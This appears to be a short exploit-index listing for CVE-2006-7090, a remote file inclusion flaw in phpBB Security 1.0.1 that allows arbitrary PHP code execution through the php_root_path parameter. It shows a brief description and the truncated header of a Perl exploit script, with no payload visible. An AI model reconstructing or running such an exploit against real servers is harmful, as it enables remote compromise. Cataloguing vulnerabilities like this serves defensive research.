CVE-2006-7090

The CVE-2006-7090 entry concerns phpBB Security (the phpbb_security.php component) in version 1.0.1 and earlier. The vulnerability is a PHP Remote File Inclusion via a tainted php_root_path parameter, enabling remote attackers to execute arbitrary PHP code on affected systems. Documents explicitl...

phpBB Security 1.0.1 - 'PHP_security.php' Remote File Inclusion

!/usr/bin/perl phpBB Security 1.0.1 Class: Remote File Include Vulnerability Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbb-amod.com/downloads/phpBBSecurity.zip use IO::Socket; use LWP::Simple;...